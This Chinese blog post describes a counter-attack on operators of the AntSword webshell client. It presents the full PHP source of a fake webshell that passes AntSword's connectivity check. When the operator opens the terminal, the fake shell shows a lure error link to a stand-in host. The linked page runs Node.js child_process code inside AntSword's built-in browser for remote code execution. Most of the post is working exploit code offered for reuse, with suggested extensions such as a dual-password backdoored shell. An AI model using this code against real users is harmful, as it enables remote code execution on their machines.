这两天看到校长在搞蚁剑的反制,忙碌了两天整了两个插件的self-xss,虽然很是鸡肋不过也不怪他,蚁剑主程序确实不太有xss的可能性了。不过这勾起了群友们的兴趣,松鼠A师傅熬夜熬了一晚上,第二天给我说找到一个可能比较“鸡肋”的利用方式,我和他交流一番后觉得还是有很大可能性成功的,于是便有了此文。
首先我们先需要知道蚁剑的一个特性。虚拟终端功能在某些特殊情况下会将一些标签转换成超链接。经过测试当遇到http/https协议头时会发生转换。比如:
这个链接点开打开的页面是以蚁剑内部的浏览器进行打开的,而我们知道蚁剑在实现上用了nodejs,那么看过之前反制goby的大概也明白了,就是通过打开的页面嵌入js来直接执行命令!好了,rce的方式有了,但是蚁剑又不是goby,怎么会有人在自己的webshell里点到别人的链接呢??这就到了设想场景的时候了,设想下面一个场景:
jb小子日站爆目录
爆到一个shell.php
jb小子一看就知道这是前人的一句话木马,操起蚁剑就想连
为了增加jb小子连接的成功率甚至可以把密码打印在屏幕上
好了,jb小子连上了我们的恶意webshell,开启了蚁剑的终端
一打开终端看到报错,马上点击链接
渲染恶意页面JS————》RCE
OK,场景完美了,接下来的重点就是如何构造一个虚假的webshell让jb小子看到就想连就想rce。其次,我们是钓鱼。所以webshell不能有实际功能。webshell既要连接成功,又要不能执行功能。于是整体思路呼之欲出:
获取post过来的数据
通过正则判断特征,判断是哪一个数据包
如果是连通包则发送对应信息使其通过测试
如果是其他功能包,则返回对应的信息让功能”正常“打开。直至打开虚拟终端上钩。
远程代码配置上线操作
我们直接先看看实现效果:
实际效果比想象中还要自然!下面开始看看怎么来制作这么一个钓鱼webshell吧。
首先分析蚁剑的数据包 密码为111的测试webshell连通性请求包:
111=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$oparr=preg_split("/\\\\|\//",$opdir);
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$tmdir=".cc06e1b50e";
@mkdir($tmdir);
@chdir($tmdir);
@ini_set("open_basedir","..");
for ($i=0;$i<sizeof($oparr);$i++) {
@chdir("..");
}
@ini_set("open_basedir","/");
@rmdir($ocwd."/".$tmdir);
}
;
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "c63f"."aa80"; //校验码一
echo @asenc($output);
echo "03b"."b509"; //校验码二
}
ob_start();
try {
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/") {
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
} else {
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
返回包:
c63faa80D:/phpstudy_pro/WWW C:D:E:F: Windows NT LAPTOP-465G 6.2 build 9200 (Windows 8 Business Edition) i586 USER03bb509
通过返回包可以看出webshell获取了web目录、盘符、系统版本、用户名等信息。在这些信息头尾各有一段随机字符,推测是类似校验码的东西。通过反复抓包确定两段随机字符存在其中一段即可通过校验,其他的内容会被缓存起来供其他功能调用。而校验码在请求包中也能找到。这个时候我们就可以按照要求写出一个可以通过蚁剑客户端校验的”webshell“。
注意 :返回包中的每段信息中间以\t分隔,而不是空格。这点在源码中可以找到,之前因为这个卡了好长时间。
最终写出伪造连通性的代码:
$ze="%echo \"([^<]*?).\"([^<]*?)\";%si";
preg_match($ze,$A,$B);
$c="$B[0]"; //正则提取 echo "xxxx"."xxxx";
$key= str_replace(['"', '.', 'echo', ' ', ";"], "", $c); //替换输出干净的值xxxxxxxx
$txt='D:/phpstudy_pro/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t".'administrator';
echo "$key"."$txt";//拼接输出最终内容
开始第二部分,伪造当在虚拟终端中执行命令时蚁剑的数据包。请求包太大这里就不放了。我们要从请求包中提取出一个特征,用来和连通性包做出区分,从而达到更完美的伪装。这里我选用了
$ret=127;
返回包同样是校验码+内容+校验码,和连通包类似
所以代码是这个样子的
$ze="%echo \"([^<]*?).\"([^<]*?)\";%si";
preg_match($ze,$A,$B);
$c="$B[0]";
$key= str_replace(['"', '.', 'echo', ' ', ";"], "", $c);
$payload='http://exp.com/index.html';//远程加载js的页面,代码在文后
echo "$key".'ret=405'."\n".'数据解码错误,请访问使用文档查询解决方案。AntSword:'."$payload";//输出的钓鱼内容
然后加上判断。
点击连接调用蚁剑内置浏览器,开始愉快的算题
webshell.php
<?php
$A=urldecode(file_get_contents("php://input")); //获取post数据
$iscmd="%(.*)127;%si";
if (preg_match($iscmd,$A,$B)!=0) { //判断数据包类型
$ze="%echo \"([^<]*?).\"([^<]*?)\";%si";
preg_match($ze,$A,$B);
$c="$B[0]";
$key= str_replace(['"', '.', 'echo', ' ', ";"], "", $c); //取校验码
$payload='http://exp.com/index.html'; //远程调用地址
echo "$key".'ret=405'."\n".'数据解码错误,请访问使用文档查询解决方案。AntSword:'."$payload";//这部分内容自由发挥,可以写成更有诱导性的内容
} else {
echo "no";
$ze="%echo \"([^<]*?).\"([^<]*?)\";%si";
preg_match($ze,$A,$B);
$c="$B[0]";
$key= str_replace(['"', '.', 'echo', ' ', ";"], "", $c);
$txt='D:/phpstudy_pro/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t".'administrator'; //返回内容会缓存起来在其他功能里用到,也可以利用这个伪造系统类型
echo "$key"."$txt";
}
?>
加载的index.html
<script type="text/javascript">
require('child_process').exec('calc',(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); });
</script>
所有代码均在松鼠A师傅的github有下载:https://github.com/shiyeshu/antSword-UnrealWebshell
这只是个简单的demo,功能部分其实可以多写几个,更加完美的伪装。返回连接那里返回一次内容后用户名就会发生变化,这点应该可以怎么解决掉。php代码写的也不够优雅,可以继续美化。这个思路还可以进一步拓展,比如:
拓展场景,比如ctf的awd里,谁不喜欢万人骑的webshell呢
留一个webshell,输入隐藏密码就可以链接成为正常的webshell,输入钓鱼密码就会进入钓鱼模式
终端侧的诱导理由可以进一步优化,就看想象力了